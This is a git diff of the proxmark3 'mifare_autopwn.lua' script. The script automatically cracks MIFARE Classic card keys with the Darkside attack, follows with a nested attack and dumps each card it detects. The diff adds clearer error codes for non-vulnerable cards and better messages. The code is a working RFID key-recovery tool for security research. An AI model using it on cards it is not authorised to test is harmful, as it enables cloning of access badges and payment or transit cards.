Merge pull request #21 from alexgrin/iceman_master

[proxmark3-svn] / client / scripts / mifare_autopwn.lua

diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua
index eb98ffbf753809d64188a47448286e5760735498..b1f3d35787c55d7d07c25337ae68e6caa3cf4de8 100644 (file)
--- a/client/scripts/mifare_autopwn.lua
+++ b/client/scripts/mifare_autopwn.lua
@@ -28,6 +28,8 @@ Output files from this operation:
 -- Some utilities 
 -------------------------------
 local DEBUG = false
+local MIFARE_AUTH_KEYA = 0x60
+local MIFARE_AUTH_KEYB = 0x61
 --- 
 -- A debug printout-function
 function dbg(args)
@@ -66,7 +68,7 @@ end
 function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
+       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        
        local retry = true
        while retry do
@@ -78,20 +80,44 @@ function mfcrack()
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 
 
-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
+               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        end     
        return nil, "Aborted by user"
 end
 
-
 function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then
-                       -- Unpacking the three arg-parameters
-                       local count,cmd,isOK = bin.unpack('LL',result)
 
-                       if isOK ~= 1 then return nil, "Error occurred" end
+                       --[[
+                       I don't understand, they cmd and args are defined as uint32_t, however, 
+                       looking at the returned data, they all look like 64-bit things: 
+
+                       print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
+
+                       FF      00      00      00      00      00      00      00      <-- 64 bits of data
+                       FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       04      7F      12      E2      00             <-- this is where 'data' starts
+
+                       So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
+                       --]]
+                       -- Unpacking the arg-parameters
+                       local count,cmd,isOK = bin.unpack('LI',result)
+                       --print("response", isOK)--FF FF FF FF
+                       if isOK == 0xFFFFFFFF then
+                               return nil, "Button pressed. Aborted."
+                       elseif isOK == 0xFFFFFFFE then
+                               return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFD then
+                               return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFC then
+                               return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK ~= 1 then 
+                               return nil, "Error occurred" 
+                       end
 
 
                        -- The data-part is left
@@ -108,7 +134,7 @@ function mfcrack_inner()
                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)
 
-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
+                       local status, key = core.nonce2key(uid, nt, nr, pl, ks)
                        if not status then return status,key end
 
                        if status > 0 then 
@@ -162,10 +188,9 @@ end
 -- The main entry point
 function main(args)
 
-
        local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}
-
+       local print_message = true
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
@@ -173,6 +198,10 @@ function main(args)
        end
 
        while not exit do
+               if print_message then
+                       print("Waiting for card or press any key to stop")
+                       print_message = false
+               end
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
@@ -181,7 +210,7 @@ function main(args)
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
-                       print("Card found, commencing crack", uid)
+                       print("Card found, commencing crack on UID", uid)
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
@@ -192,12 +221,13 @@ function main(args)
                        -- two bytes, then six bytes actual key data
                        -- We can discard first and second return values
                        _,_,key = bin.unpack("H2H6",res)
-                       print("Key ", key)
+                       print("Found valid key: "..key);
 
                        -- Use nested attack
                        nested(key,sak)
                        -- Dump info
                        dump(uid)
+                       print_message = true
                end
        end
 end